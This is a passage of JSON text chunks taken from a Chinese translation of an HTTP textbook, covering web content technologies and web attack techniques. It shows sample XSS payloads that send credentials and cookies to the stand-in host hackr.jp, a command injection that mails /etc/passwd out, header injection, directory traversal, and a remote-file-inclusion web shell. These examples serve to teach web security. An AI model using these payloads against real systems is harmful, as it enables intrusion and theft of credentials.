Forbidden</D:status> <D:responsedescription> The user does not have access to the DingALing property. </D:responsedescription> </D:propstat> </D:response> <D:responsedescription> There has been an access violation error. </D:responsedescription> </D:multistatus> 为何 HTTP 协议受众如此广泛 194 本章讲解了几个与 HTTP 相关联的协议使用案例。"},
    {"text": "而这也是基于 HTTP 服务或内容不断增加的原因之一。 还有一些其他原因，比如，作为 HTTP 客户端的浏览器已相当普遍， HTTP 服务器的数量已颇具规模，HTTP 本身就是优异的应用等。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 10.1 HTML 10.1.1 Web 页面几乎全由 HTML 构建 HTML（HyperText Markup Language，超文本标记语言）是为了发 送 Web 上的超文本（Hypertext）而开发的标记语言。"},
    {"text": "平 时 我 们 浏 览 的 Web 页 面 几 乎 全 是 使 用 HTML 写 成 的。 由 HTML 构成的文档经过浏览器的解析、渲染后，呈现出来的结果就是 Web 页面。 196 浏览器打开由HTML写成的文档 HTML 就可浏览渲染后的Web页面 图：HTML 以下就是用 HTML 编写的文档的例子。"},
    {"text": "<html> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 10 章 构建 Web 内容的技术 <title>hackr.jp</title> <style type=\"text/css\"> .logo { padding: 20px; text-align: center; } </style> </head> <body> <div class=\"logo\"> <p><img src=\"photo.jpg\" alt=\"photo\" width=\"240\" height=\"127\" /></p> <p><img src=\"hackr.gif\" alt=\"hackr.jp\" width=\"240\" height=\"84\" /></p> <p><a href=\"http://hackr.jp/\">hackr.jp</a> </p> </div> </body> </html> 197 10.1.2 HTML 的版本 Tim Berners-Lee 提出 HTTP 概念的同时，还提出了 HTML 原型。"},
    {"text": "1993 年在伊利诺伊大学的 NCSA（The National Center for Supercomputing Applications，国家超级计算机应用中心）发布了 Mosaic 浏览器（世界 首个图形界面浏览器程序），而能够被 Mosaic 解析的 HTML，统一标准 后即作为 HTML 1.0 发布。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 10.1.3 设计应用 CSS CSS（Cascading Style Sheets， 层 叠 样 式 表 ） 可 以 指 定 如 何 展 现 HTML 内的各种元素，属于样式表标准之一。"},
    {"text": ".logo { padding: 20px; text-align: center; } 可在选择器（selector）.logo 的指定范围内，使用 {} 括起来的声明 198 块中写明的 padding: 20px 等声明语句应用指定的样式。"},
    {"text": "10.2 动态 HTML 10.2.1 让 Web 页面动起来的动态 HTML 所谓动态 HTML（Dynamic HTML），是指使用客户端脚本语言将静 态 的 HTML 内 容 变 成 动 态 的 技 术 的 总 称。 鼠 标 单 击 点 开 的 新 闻、 Google Maps 等可滚动的地图就用到了动态 HTML。 动态 HTML 技术是通过调用客户端脚本语言 JavaScript，实现对 HTML 的 Web 页面的动态改造。 利用 DOM（Document Object Model， 文档对象模型）可指定欲发生动态变化的 HTML 元素。 10.2.2 更易控制 HTML 的 DOM DOM 是 用 以 操 作 HTML 文 档 和 XML 文 档 的 API（Application 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 10 章 构建 Web 内容的技术 Programming Interface，应用编程接口）。 使用 DOM 可以将 HTML 内的 元素当作对象操作，如取出元素内的字符串、改变那个 CSS 的属性等， 使页面的设计发生改变。 通过调用 JavaScript 等脚本语言对 DOM 的操作，可以以更为简单 的方式控制 HTML 的改变。"},
    {"text": "<body> <h1> 繁琐的 Web 安全 </h1> <p> 第Ⅰ部分 Web 的构成元素 </p> <p> 第Ⅱ部分 浏览器的安全功能 </p> <p> 第Ⅲ部分 接下来发生的事 </p> </body> 比如，从 JavaScript 的角度来看，将上述 HTML 文档的第 3 个 P 元 素（P 标签）改变文字颜色时，会像下方这样编写代码。"},
    {"text": "199 <script type=\"text/javascript\"> var content = document.getElementsByTagName('P'); content[2].style.color = '#FF0000'; </script> document.getElementsByTagName('P') 语句调用 getElementsByTagName 函数，从整个 HTML 文档（document object）内取出 P 元素。 接下来的 content[2].style.color = '#FF0000' 语句指定 content 的索引为 2（第 3 个）的 元素的样式颜色改为红色（#FF0000）。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 10.3 Web 应用 10.3.1 通过 Web 提供功能的 Web 应用 Web 应用是指通过 Web 功能提供的应用程序。"},
    {"text": "动态内容 ISBN= 请求 ISBN=4798128090 4798128090 200 响应 返回由Web服务器上的程序 创建的HTML内容 静态内容 请求 响应 返回事先已编写 好的HTML 图：动态内容和静态内容 10.3.2 与 Web 服务器及程序协作的 CGI CGI（Common Gateway Interface，通用网关接口）是指 Web 服务器 在接收到客户端发送过来的请求后转发给程序的一组机制。 在 CGI 的 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 10 章 构建 Web 内容的技术 作用下，程序会对请求内容做出相应的动作，比如创建 HTML 等动态 内容。"},
    {"text": "使用 CGI 的程序叫做 CGI 程序，通常是用 Perl、PHP、Ruby 和 C 等编程语言编写而成。 CGI 程序 CGI 请求 响应 Web服务器 201 CGI是将请求转给CGI程序处理的一种机制 图：CGI 有关 CGI 更为翔实的内容请参考 RFC3875“The Common Gateway Interface (CGI) Version 1.1” 10.3.3 因 Java 而普及的 Servlet ServletA 是一种能在服务器上创建动态内容的程序。"},
    {"text": "CGI 的应用场景 CGI 程序 CGI CGI 程序 每次请求都启动新的CGI程序 Servlet 的应用场景 Web 容器 202 Servlet Servlet运行在Web容器内 图：Servlet 随着 CGI 的普及，每次请求都要启动新 CGI 程序的 CGI 运行机制 逐渐变成了性能瓶颈，所以之后 Servlet 和 mod_perl 等可直接在 Web 服 务器上运行的程序才得以开发、普及。"},
    {"text": "——译者注 B 说对抗的原因在于，这个方向上已存在用Perl编写的CGI，实现在Apache HTTP Server上内置mod_php模块后可运行PHP程序、微软主导的ASP等技 术。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 10 章 构建 Web 内容的技术 10.4 数据发布的格式及语言 10.4.1 可扩展标记语言 XML（eXtensible Markup Language，可扩展标记语言）是一种可按 应用目标进行扩展的通用标记语言。"},
    {"text": "<html> <head> <title>T 公司研讨会介绍 </title> 203 </head> <body> <h1>T 公司研讨会介绍 </h1> <ul> <li> 研讨会编号 ：TR001 <ul> <li>Web 应用程序脆弱性诊断讲座 </li> </ul> </li> <li> 研讨会编号 ：TR002 <ul> <li> 网络系统脆弱性诊断讲座 </li> </ul> </li> </ul> </body> </html> 用浏览器打开该文档时，就会显示排列的列表内容，但如果这些数 据被其他程序读取会发生什么？"},
    {"text": "某些程序虽然具备可通过识别布局特征 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 取出文本的方法，但这份 HTML 的样式一旦改变，要读取数据内容也 就变得相对困难了。"},
    {"text": "< 研讨会 编号 =\"TR001\" 主题 =\"Web 应用程序脆弱性诊断讲座 \"> < 类别 > 安全 </ 类别 > <概要>为深入研究Web应用程序脆弱性诊断必要的…</概要> </ 研讨会 > < 研讨会 编号 =\"TR002\" 主题 =\" 网络系统脆弱性诊断讲座 \"> < 类别 > 安全 </ 类别 > <概要>为深入研究网络系统脆弱性诊断必要的…</概要> </ 研讨会 > XML 和 HTML 一样，使用标签构成树形结构，并且可自定义扩展 204 标签。"},
    {"text": "由于 XML 的结构 基本上都是用标签分割而成的树形结构，因此通过语法分析器（Parser） 的解析功能解析 XML 结构并取出数据元素，可更容易地对数据进行 读取。"},
    {"text": "Atom 供稿格式（Atom●Syndication●Format）：为发布内容而制定 的网站消息来源格式，单讲 Atom 时，就是指此标准。 205 Atom 出版协定（Atom●Publishing●Protocol）：为 Web 上内容的新 增或修改而制定的协议。"},
    {"text": "<?xml version=\"1.0\" encoding=\"utf-8\" ?> <?xml-stylesheet href=\"http://d.hatena.ne.jp/sen-u/rssxsl\" type=⇒ \"text/xsl\" media=\"screen\"?> <rdf:RDF xmlns=\"http://purl.org/rss/1.0/\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xml:lang=\"ja\"> <channel rdf:about=\"http://d.hatena.ne.jp/sen-u/rss\"> <title> 兔子的文学日记 </title> 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 <link>http://d.hatena.ne.jp/sen-u/</link> <description> 兔子的文学日记 </description> </channel> <item rdf:about=\"http://d.hatena.ne.jp/sen-u/20121215/p1\"> <title>[security] 提供脆弱性悬赏奖金计划的网站一览 </title> <link>http://d.hatena.ne.jp/sen-u/20121215/p1</link> <description> 正是所谓“是所谓 Bounty Programs”、⇒ 处理接受 Web 脆弱性的相关信息，并提供奖金的计划 ...</description> <dc:creator>sen-u</dc:creator> <dc:date>2012-12-15</dc:date> <dc:subject>security</dc:subject> </item> 10.4.3 JavaScript 衍生的轻量级易用 JSON JSON（JavaScript Object Notation）是一种以 JavaScript（ECMAScript） 206 的对象表示法为基础的轻量级数据标记语言。"},
    {"text": "有关 JSON 更为翔实的内容请参考 RFC4627“The application/json Media Type for JavaScript Object Notation (JSON)” 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter11 第 11 章 Web 的攻击技术 互联网上的攻击大都将 Web 站点作为目标。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 11.1 针对 Web 的攻击技术 简单的 HTTP 协议本身并不存在安全性问题，因此协议本身几乎不 会成为攻击的对象。 应用 HTTP 协议的服务器和客户端，以及运行在服 务器上的 Web 应用等资源才是攻击目标。 目前，来自互联网的攻击大多是冲着 Web 站点来的，它们大多把 Web 应用作为攻击目标。 本章主要针对 Web 应用的攻击技术进行讲解。 Exim 2％ ProFTPD 3％ 其他 7％ 其他 SQL 注入攻击 32％ 39％ 208 Web 服务 88％ ZenCart 5％ phpMy XSS Admin 15％ 9％ 互联网上重要攻击事件明细 参见：LAC JSOC 株式会社的入侵分析倾向报告 Vol.18 (2012 年 4 月 26 日 ) 图：攻击事件倾向 11.1.1 HTTP 不具备必要的安全功能 与最初的设计相比，现今的 Web 网站应用的 HTTP 协议的使用方 式已发生了翻天覆地的变化。"},
    {"text": "就拿远程登录时会用到的 SSH 协议来说，SSH 具备协议级别的认 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 证及会话管理等功能，HTTP 协议则没有。 另外在架设 SSH 服务方面， 任何人都可以轻易地创建安全等级高的服务，而 HTTP 即使已架设好服 务器，但若想提供服务器基础上的 Web 应用，很多情况下都需要重新 开发。"},
    {"text": "209 在 HTTP 请求报文内加载攻击代码，就能发起对 Web 应用的攻击。 通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传 入，若这时 Web 应用存在安全漏洞，那内部信息就会遭到窃取，或被 攻击者拿到管理权限。 存在安全漏洞的 Web 应用 攻击代码 攻击者 窃取信息或 通过 URL 查询字段或表单、HTTP 首 夺取权限 部、Cookie 等途径把攻击代码传入 DB 图：对 Web 应用的攻击 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 11.1.3 针对 Web 应用的攻击模式 对 Web 应用的攻击模式有以下两种。 ● ● 主动攻击● ● ● 被动攻击 ■以服务器为目标的主动攻击 主动攻击（active attack）是指攻击者通过直接访问 Web 应用，把 攻击代码传入的攻击模式。"},
    {"text": "主动攻击模式里具有代表性的攻击是 SQL 注入攻击和 OS 命令注入 攻击。 主要攻击服务器上的资源 210 ①执行攻击代码 攻击者 ②信息泄露· 执行命令等 DB 图：主动攻击 ■以服务器为目标的被动攻击 被动攻击（passive attack）是指利用圈套策略执行攻击代码的攻击模 式。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 步骤 1： 攻击者诱使用户触发已设置好的陷阱，而陷阱会启动发送 已嵌入攻击代码的 HTTP 请求。"},
    {"text": "步骤 2： 当用户不知不觉中招之后，用户的浏览器或邮件客户端就 会触发这个陷阱。 步骤 3： 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送 给作为攻击目标的 Web 应用，运行攻击代码。 步骤 4： 执行完攻击代码，存在安全漏洞的 Web 应用会成为攻击 者的跳板，可能导致用户所持的 Cookie 等个人信息被窃 取，登录状态中的用户权限遭恶意滥用等后果。"},
    {"text": "主要攻击用户的资源和权限 211 ④执行攻击代码的后果是用户所 持的 Cookie 等被窃取、用户权 限遭恶意滥用 用户 ③用户的浏览器运行攻击代码 ②用户的浏览器触发事先已设好 在 Web 页面或邮件内 陷阱的 HTTP 请求 设置陷阱 ①陷阱诱导 攻击者 图：被动攻击 利用用户的身份攻击企业内部网络 利用被动攻击，可发起对原本从互联网上无法直接访问的企业内网 等网络的攻击。"},
    {"text": "只要用户踏入攻击者预先设好的陷阱，在用户能够访问 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 到的网络范围内，即使是企业内网也同样会受到攻击。"},
    {"text": "这样就可能给攻击者以可乘之机，诱导用户触发陷阱 后对企业内网发动攻击。 利用用户身份的攻击 ③企业内网用户的浏览器运行 攻击代码 用户 窃取信息或 ②用户的浏览器触发事先已设好陷阱的 夺取权限等 HTTP 请求 企业内网 DB 互联网 212 企业内网的 Web 服务器 ①陷阱诱导 攻击者 图：利用被动攻击对企业内网发动攻击 11.2 因输出值转义不完全引发的安全漏洞 实施 Web 应用的安全对策可大致分为以下两部分。"},
    {"text": "● ● 客户端的验证● ● ● Web 应用端（服务器端）的验证 ○ 输入值验证 ○ 输出值转义 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 HTTP 响应 输入 处理 输出 访问 DB DB HTTP 请求 访问文件 文件 系统 客户端的验证 Web 应用端的验证 图：验证数据的几个地方 多数情况下采用 JavaScript 在客户端验证数据。"},
    {"text": "11.2.1 跨站脚本攻击 跨站脚本攻击（Cross-Site Scripting，XSS）是指通过存在安全漏洞 的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。"},
    {"text": "● ● ● ●利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 攻击者发送恶意请求。"},
    {"text": "输入 HTML 标签 <s> 山口一郎 </s> 经浏览器解析 标签 后显示删除线 编辑个人信息 编辑个人信息 姓名 <s> 山口一郎 </s> 姓名 山口一郎 邮箱地址 yama@example.com 邮箱地址 yama@example.com 自我介绍 你好！"},
    {"text": "确认修改 保存修改 图：按照输入内容原样显示的机制 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 此时的确认界面上，浏览器会把用户输入的 <s> 解析成 HTML 标 签，然后显示删除线。"},
    {"text": "http://example.jp/login?ID=yama http://.... 215 E! 拍卖会 ID yama PW 登录 充分熟知此处漏洞特点的攻击者，于是就创建了下面这段嵌入恶意 代码的 URL。"},
    {"text": "http://example.jp/login?ID= \"><script>var+f=document ⇒ .getElementById(\"login\");+f.action=\"http://hackr.jp/pwget\";+f.method= ⇒ \"get\";</script><span+s=\" 浏览器打开该 URI 后，直观感觉没有发生任何变化，但设置好的 脚本却偷偷开始运行了。"},
    {"text": "当用户在表单内输入 ID 和密码之后，就会直 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 接发送到攻击者的网站（也就是 hackr.jp），导致个人登录信息被窃取。 http://example.jp/login?ID=\"><scr... http://.... 表面上没有变化但脚 本已运行 E! 拍卖会 ID yama 表单填写完毕后就直 PW 接把 ID 及密码发送到 攻击者的网站 登录 之后，ID 及密码会传给该正规网站，而接下来仍然是按正常登录 步骤，用户很难意识到自己的登录信息已遭泄露。 对 http://example.jp/login?ID=yama 请求时对应的 HTML 源代码（摘录） <div class=\"logo\"> 216 <img src=\"/img/logo.gif\" alt=\"E! 拍卖会 \" /> </div> <form action=\"http://example.jp/login\" method=\"post\" id=\"login\"> <div class=\"input_id\"> ID <input type=\"text\" name=\"ID\" value=\" yama \" /> </div> http://example.jp/login?ID= \"><script>var+f=document.getElementById (\"login\");+f.action=\"http://hackr.jp/pwget\";+f.method=\"get\";</script> <span+s=\" 对请求时对应的 HTML 源代码（摘录） <div class=\"logo\"> <img src=\"/img/logo.gif\" alt=\"E! 拍卖会 /> </div> <form action=\"http://example.jp/login\" method=\"post\" id=\"login\"> <div class=\"input_id\"> ID <input type=\"text\" name=\"ID\" value=\" \"><script>var f=document ⇒ .getElementById(\"login\"); f.action=\"http://hackr.jp/pwget\"; f.method= ⇒ \"get\";</script><span s=\" \" /> </div> 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 ■对用户Cookie的窃取攻击 除了在表单中设下圈套之外，下面那种恶意构造的脚本同样能够以 跨站脚本攻击的方式，窃取到用户的 Cookie 信息。"},
    {"text": "var content = escape(document.cookie); document.write(\"<img src=http://hackr.jp/?\"); document.write(content); document.write(\">\"); 217 在 存 在 可 跨 站 脚 本 攻 击 安 全 漏 洞 的 Web 应 用 上 执 行 上 面 这 段 JavaScript 程序，即可访问到该 Web 应用所处域名下的 Cookie 信息。"},
    {"text": "http://example.jp/login?ID=\"><script src=http://hackr.jp/xss.js></script>\" http://.... E! 拍卖会 脚本一运行，正在浏 ID 览该 Web 网站的用户 PW Cookie 就会被窃取 登录 图：使用 XSS 攻击夺取 Cookie 信息 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 11.2.2 SQL 注入攻击 ■会执行非法 SQL 的SQL 注入攻击 SQL 注入（SQL Injection）是指针对 Web 应用使用的数据库，通过 运行非法的 SQL 而产生的攻击。"},
    {"text": "● ● 非法查看或篡改数据库内的数据● ● ● 规避认证● 218 ● ● 执行和数据库服务器业务关联的程序等 何为 SQL SQL 是 用 来 操 作 关 系 型 数 据 库 管 理 系 统（Relational DataBase Management System，RDBMS）的数据库语言，可进行操作数据或定义 数 据 等。"},
    {"text": "● ● SQL 语句示例 SELECT title,text FROM newsTbl WHERE id=123 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 ■SQL 注入攻击案例 下面以某个购物网站的搜索功能为例，讲解 SQL 注入攻击。"},
    {"text": "http://.... BOOKSTORE 作者“ 上野宣 ”的搜索结果 指定作者为搜索 上市日期 作者 书名 关键字显示其著 12/06/19 上野宣 繁杂的 Web 安…… 作一览 05/06/17 上野宣 今晚我们一起学习邮件协…… 04/12/09 上野宣 今晚我们一起学习 HTTP * 不显示已绝版的 04/12/09 上野宣 今晚我们一起学习 TCP/IP 书籍 219 图：SQL 注入攻击案例 正常处理的操作示例 下图是将“上野宣”作为关键字的搜索结果。 http://.... BOOKSTORE 作者“ 上野宣 ”的搜索结果 http://example.com/search?q= 上野宣 上市日期 作者 书名 12/06/19 上野宣 繁杂的 Web 安…… 05/06/17 上野宣 今晚我们一起学习邮件协…… 04/12/09 上野宣 今晚我们一起学习 HTTP 04/12/09 【SQL 上野宣 语句】 今晚我们一起学习 TCP/IP SELECT * FROM bookTbl WHERE author = ' 上野宣 ' and flag = 1; 从 bookTbl 表中，显示满足 author= 上野宣 and flag=1（可售）所在行的数据 图：正常处理操作的示例 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 URL 的查询字段已指定 q= 上野宣，这个值由 Web 应用传入到 SQL 语句中，构成下方的 SQL 语句。 SELECT * FROM bookTbl WHERE author = ' 上野宣 ' and flag = 1; 该 SQL 语句表示“从 bookTbl 表中，显示满足 author= 上野宣 and flag=1（可售）所在行的数据”。"},
    {"text": "通过 SQL 语句，将满足作者名（author）上野宣并且 flag 为 1 双重条件的条 目取出，最后作为搜索结果显示出来。 bookTbl bid date author title flag 1000203503 12/06/2023 新井悠 Bug 猎人日记 1 220 1000203501 12/06/2019 上野宣 繁杂的 Web 安全性 1 1000103409 10/06/2002 明智光秀 本能寺之变 0 1000093050 05/06/2017 上野宣 今晚我们一起学习邮件协议 1 1000085771 04/12/2009 上野宣 今晚我们一起学习 HTTP 1 1000072889 04/12/2009 上野宣 今晚我们一起学习 TCP/IP 1 1000042384 03/04/2021 上野宣 新手必备 TCP/IP 入门 0 从 bookTbl 表内显示满足“author= 上野宣 ” 且 “flag=1”条件的所在行数据 *“flag=0”代表绝版的书籍 图：数据库处理 SQL 注入攻击的操作示例 把刚才指定查询字段的上野宣改写成“上野宣 '--”。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 改写 http://.... BOOKSTORE 作者“ 上野宣 ”的搜索结果 http://example.com/search?q= 上野宣 ' -- 上市日期 作者 书名 12/06/19 上野宣 繁杂的 Web 安…… 05/06/17 上野宣 今晚我们一起学习邮件协…… 04/12/09 上野宣 今晚我们一起学习 HTTP 04/12/09 上野宣 今晚我们一起学习 TCP/IP 03/04/21 上野宣 新手必备 TCP/IP 入门 【SQL 语句】 SELECT * FROM bookTbl WHERE author =' 上野宣 ' --' and flag = 1; 从 bookTbl 表内显示满足“author= 上野宣 ”这个条件的所在行数据 （-- 之后的内容会自动判为注释，因此 flag=1 这个条件就被直接忽略了） 图：SQL 注入攻击的操作示例 221 构 成 的 SQL 语 句 就 变 成“从 数 据 库 的 bookTbl 表 中， 显 示 满 足 author= 上野宣条件所在行的数据”，如下所示。 SELECT * FROM bookTbl WHERE author =' 上野宣 '●-●-' and flag=1; SQL 语句中的 -- 之后全视为注释。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 bookTbl bid date author title flag 1000203503 12/06/2023 新井悠 Bug 猎人日记 1 1000203501 12/06/2019 上野宣 繁杂的 Web 安全性 1 1000103409 10/06/2002 明智光秀 本能寺之变 0 1000093050 05/06/2017 上野宣 今晚我们一起学习邮件协议 1 1000085771 04/12/2009 上野宣 今晚我们一起学习 HTTP 1 1000072889 04/12/2009 上野宣 今晚我们一起学习 TCP/IP 1 1000042384 03/04/2021 上野宣 新手必备 TCP/IP 入门 0 原本不会显示的行 从 bookTbl 表内显示满足“author= 上野宣 ”这个条件的所在行数据 （flag 这个筛选条件因 SQL 注入变成无效的了） 图：数据库处理 结果跟 flag 的设定值无关，只取出满足 author=“上野宣”条件所在 222 行的数据，这样连那些尚未出版的书籍也一并显示出来了。 http://.... BOOKSTORE 作者 \" 上野宣 '--\" 的搜索结果 上市日期 作者 书名 12/06/2019 上野宣 繁杂的 Web…… 05/06/2017 上野宣 今晚我们一起学习邮件协…… 04/12/2009 上野宣 今晚我们一起学习 HTTP 04/12/2009 上野宣 今晚我们一起学习 TCP/IP 原本不该显示 03/04/2021 上野宣 新手必备…… 的绝版的数据 却显示了 图：被 SQL 注入的后果 ■SQL 注入攻击破坏 SQL 语句结构的案例 SQL 注入是攻击者将 SQL 语句改变成开发者意想不到的形式以达 到破坏结构的攻击。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 比如，在之前的攻击案例中，就会把 author 的字面值（程序中使用 的常量）\" 上野宣 '-●-\" 的字符串赋值给 $q。 SELECT * FROM bookTbl WHERE author = '$q' and flag = 1; SELECT * FROM bookTbl WHERE author = ' 上野宣 ' --' and flag = 1; author 的字面值溢出 图：SQL 注入攻击的原理 上图中颜色标记的字符串最开始的单引号 (') 表示会将 author 的字 面值括起来，以到达第二个单引号后作为结束。"},
    {"text": "OS 命令注入攻击可以向 Shell 发送命令，让 Windows 或 Linux 操 作系统的命令行启动程序。 也就是说，通过 OS 注入攻击可执行 OS 上 安装着的各种程序。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ■OS 注入攻击案例 下面以咨询表单的发送功能为例，讲解 OS 注入攻击。"},
    {"text": "http://.... 咨询 请在下方表单内输入内容后发送 邮件地址 咨询内容 发送 图：OS 注入攻击的攻击案例 224 下面摘选处理该表单内容的一部分核心代码。"},
    {"text": "my $adr = $q->param('mailaddress'); open(MAIL, \"¦ /usr/sbin/sendmail $adr\"); print MAIL \"From: info@example.com\\n\"; 程序中的 open 函数会调用 sendmail 命令发送邮件，而指定的邮件 发送地址即 $adr 的值。"},
    {"text": "; cat /etc/passwd ¦ mail hack@example.jp 程序接收该值，构成以下的命令组合。 ¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 攻击者的输入值中含有分号（;）。"},
    {"text": "可见，sendmail 命令执行被分隔后，接下去就会执行 cat /etc/passwd | mail hack@example.jp 这样的命令了。 结果，含有 Linux 账户信息 /etc/ passwd 的文件，就以邮件形式发送给了 hack@example.jp。"},
    {"text": "11.2.4 HTTP 首部注入攻击 HTTP 首部注入攻击（HTTP Header Injection）是指攻击者通过在 响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。"},
    {"text": "Location: http://www.example.com/a.cgi?q= 12345 Set-Cookie: UID= 12345 ＊ 12345 就是插入值 HTTP 首部注入可能像这样，通过在某些响应首部字段需要处理输 出值的地方，插入换行发动攻击。"},
    {"text": "HTTP 首部注入攻击有可能会造成以下一些影响。 ● ● 设置任何 Cookie 信息● ● ● 重定向至任意 URL● ● ● 显示任意的主体（HTTP 响应截断攻击） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 ■HTTP 首部注入攻击案例 下面我们以选定某个类别后即可跳转至各类别对应页面的功能为 例，讲解 HTTP 首部注入攻击。"},
    {"text": "该功能为每个类别都设定了一个类别 ID 值，一旦选定某类别，就会将该 ID 值反映在响应内的 Location 首部 字段内，形如 Location: http://example.com/?cat=101。"},
    {"text": "所有的类别 书籍 （101） 音乐 （102） 游戏 （103） 226 选定的类别 响应首部 Location: http://example.com/?cat=101 图：HTTP 首部注入攻击示例 攻击者以下面的内容替代之前的类别 ID 后发送请求。"},
    {"text": "101 %0D%0ASet-Cookie:+SID=123456789 其中，%0D%0A 代表 HTTP 报文中的换行符，紧接着的是可强制 将 攻 击 者 网 站（http://hackr.jp/） 的 会 话 ID 设 置 成 SID=123456789 的 Set-Cookie 首部字段。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 Location: http://example.com/?cat=101（%0D%0A ：换行符） Set-Cookie: SID=123456789 此刻，首部字段 Set-Cookie 已生效，因此攻击者可指定修改任意的 Cookie 信息。"},
    {"text": "攻击者输入的 %0D%0A，原本应该属于首部字段 Location 的查询 值部分，但经过解析后，%0D%0A 变成了换行符，结果插入了新的首 部字段。"},
    {"text": "%0D%0A%0D%0A<HTML><HEAD><TITLE> 之后，想要显示的网页内容 <!-- 在可能进行 HTTP 首部注入的环节，通过发送上面的字符串，返回 结果得到以下这种响应。"},
    {"text": "Set-Cookie: UID=（%0D%0A ：换行符） （%0D%0A ：换行符） <HTML><HEAD><TITLE> 之后，想要显示的网页内容 ⇒ <!--（原来页面对应的首部字段和主体部分全视为注释） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 利用这个攻击，已触发陷阱的用户浏览器会显示伪造的 Web 页面， 再让用户输入自己的个人信息等，可达到和跨站脚本攻击相同的效果。"},
    {"text": "11.2.5 邮件首部注入攻击 邮件首部注入（Mail Header Injection）是指 Web 应用中的邮件发送 功能，攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的 攻击。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 bob@hackr.jp %0D%0ABcc: user@example.com %0D%0A 在邮件报文中代表换行符。"},
    {"text": "229 11.2.6 目录遍历攻击 目录遍历（Directory Traversal）攻击是指对本无意公开的文件目 录，通过非法截断其目录路径后，达成访问目的的一种攻击。"},
    {"text": "通过 Web 应用对文件处理操作时，在由外部指定文件名的处理存 在疏漏的情况下，用户可使用 .../ 等相对路径定位到 /etc/passed 等绝对 路径上，因此服务器上任意的文件或文件目录皆有可能被访问到。"},
    {"text": "http://example.com/read.php?log= 0401.log 攻击者设置如下查询字段后发出请求。 http://example.com/read.php?log= ../../etc/passwd 查询字段为了读取攻击者盯上的 /etc/passwd 文件，会从 /www/log/ 目录开始定位相对路径。"},
    {"text": "230 log=../../etc/passwd log=0401.log www read.php log 0401.log etc passwd 图：目录遍历攻击案例 11.2.7 远程文件包含漏洞 远程文件包含漏洞（Remote File Inclusion）是指当部分脚本内容需 要从其他文件读入时，攻击者利用指定外部服务器的 URL 充当依赖文 件，让脚本读取之后，就可运行任意脚本的一种攻击。"},
    {"text": "这主要是 PHP 存在的安全漏洞，对 PHP 的 include 或 require 来说， 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 11 章 Web 的攻击技术 这是一种可通过设定，指定外部服务器的 URL 作为文件名的功能。"},
    {"text": "http://example.com/foo.php?mod= news.php 对应脚本的源代码如下所示。 http://example.com/foo.php 的源代码（部分摘录） 231 $modname = $_GET['mod']; include($modname); 攻击者指定如同下面形式的 URL 发出请求。 http://example.com/foo.php?mod= http://hackr.jp/cmd.php&cmd=ls 攻击者已事先在外部服务器上准备了以下这段脚本。 http://hackr.jp/cmd.php 的源代码 <? system($_GET['cmd']) ?> 假设 Web 服务器（example.com）的 include 可以引入外部服务器的 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 URL，那就会读入攻击者在外部服务器上事先准备的 URL（http://hackr. jp/cmd.php）。"},
    {"text": "http://example.com/foo.php?mod=news.php 读入同一目录下的文件并执行 www foo.php $modname = $_GET['mod']; include($modname); news.php 攻击实例 http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls 读入外部服务器上的脚本并执行 【http://hackr.jp/cmd.php 的源代码】 <? system($_GET['cmd']) ?> 通过 system 函数就能够在 example.com 服务器上执行 OS 命令 232 图：远程文件包含漏洞的攻击案例 在以上攻击案例中，执行了可显示 Web 服务器（example.com）上 文件及目录信息的 ls 命令。"},
